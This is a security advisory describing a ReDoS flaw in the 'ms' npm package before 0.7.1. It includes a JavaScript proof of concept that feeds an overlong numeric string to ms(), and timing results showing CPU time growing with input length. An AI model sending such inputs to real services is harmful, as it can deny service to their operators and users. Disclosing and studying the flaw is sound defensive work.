Summary
Regular Expression Denial of Service in ms
Details

Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of Concept

var ms = require('ms');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Results

Showing increase in execution time based on the input string.

$ time node ms.js 10000

real    0m0.758s
user    0m0.724s
sys 0m0.031s

$ time node ms.js 20000

real    0m2.580s
user    0m2.494s

$ time node ms.js 30000

real    0m5.747s
user    0m5.483s
